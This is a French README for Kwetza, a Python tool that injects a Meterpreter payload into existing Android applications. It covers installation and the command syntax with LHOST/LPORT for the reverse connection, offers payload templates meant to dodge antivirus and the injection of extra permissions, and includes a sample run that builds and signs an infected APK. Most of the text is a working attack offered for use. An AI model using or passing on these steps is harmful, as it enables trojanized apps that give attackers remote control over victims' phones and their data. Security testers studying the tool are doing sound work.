
Script Python pour injecter un payload Meterpreter dans des applications Android existantes.
Par Chris Le Roy (@brompwnie) [email protected]
Kwetza est un outil qui vous permet d'infecter une application Android existante avec une charge utile Meterpreter.
Kwetza infecte une application Android existante avec des modèles de charge utile personnalisés ou par défaut pour éviter la détection par les antivirus. Kwetza vous permet d'infecter des applications Android en utilisant les autorisations par défaut de l'application cible ou d'injecter des autorisations supplémentaires pour obtenir des fonctionnalités supplémentaires.
Les étapes manuelles automatisées par Kwetza peuvent être trouvées ici : https://sensepost.com/blog/2016/kwetza-infecting-android-applications/
Tout d'abord, obtenez le code :
git clone https://github.com/sensepost/kwetza.git
Kwetza est écrit en Python et nécessite BeautifulSoup qui peut être installé avec Pip :
pip install beautifulsoup4
Kwetza nécessite Apktool installé et accessible via votre PATH. Cela peut être configuré en utilisant les instructions d'installation situées ici : https://ibotpeaches.github.io/Apktool/install
python kwetza.py nameOfTheApkToInfect.apk https/tcp LHOST LPORT yes/no customClass
python kwetza.py hackme.apk https 10.42.0.118 4444 yes com.moo.another.activity
[+] MMMMMM KWETZA
[*] DECOMPILING TARGET APK
[+] ENDPOINT IP: 10.42.0.118
[+] ENDPOINT PORT: 4444
[+] APKTOOL DECOMPILED SUCCESS
[*] BYTING COMMS...
[*] ANALYZING ANDROID MANIFEST...
[+] TARGET ACTIVITY: com.foo.moo.gui.MainActivity
[*] INJECTION INTO APK
[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED
[*] INJECTION OF CRAZY PERMS TO BE DONE!
[+] TIME TO BUILD INFECTED APK
[*] EXECUTING APKTOOL BUILD COMMAND
[+] BUILD RESULT
############################################
I: Using APktool 2.2.0
I: Checking whether source shas changed...
I: Smaling smali folder into classes.dex
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs ...(/lib)
I: Building apk file...
I: Copying unknown files/dir...
###########################################
[*] EXECUTING JARSIGNER COMMAND...
Enter Passphrase for keystore: password
[+] JARSIGNER RESULT
###########################################
jar signed.
###########################################
[+] L00t located at hackme/dist/hackme.apk
Kwetza a été développé pour fonctionner avec Python 2.
Par défaut, Kwetza utilisera le modèle et le magasin de clés situés dans le dossier "payload" pour injecter et signer l'apk infecté.
Si vous souhaitez signer l'application infectée avec votre propre certificat, générez un nouveau magasin de clés et placez-le dans le dossier "payload" et renommez-le pour remplacer le magasin de clés existant ou modifiez la référence dans kwetza.py.
La même chose peut être faite pour les modèles de charge utile.
Le mot de passe pour le magasin de clés par défaut est, eh bien, "password".
Kwetza est sous licence Creative Commons Attribution - Pas d'Utilisation Commerciale - Partage dans les Mêmes Conditions 4.0 International (http://creativecommons.org/licenses/by-nc-sa/4.0).
Les autorisations au-delà du cadre de cette licence peuvent être disponibles à http://sensepost.com/contact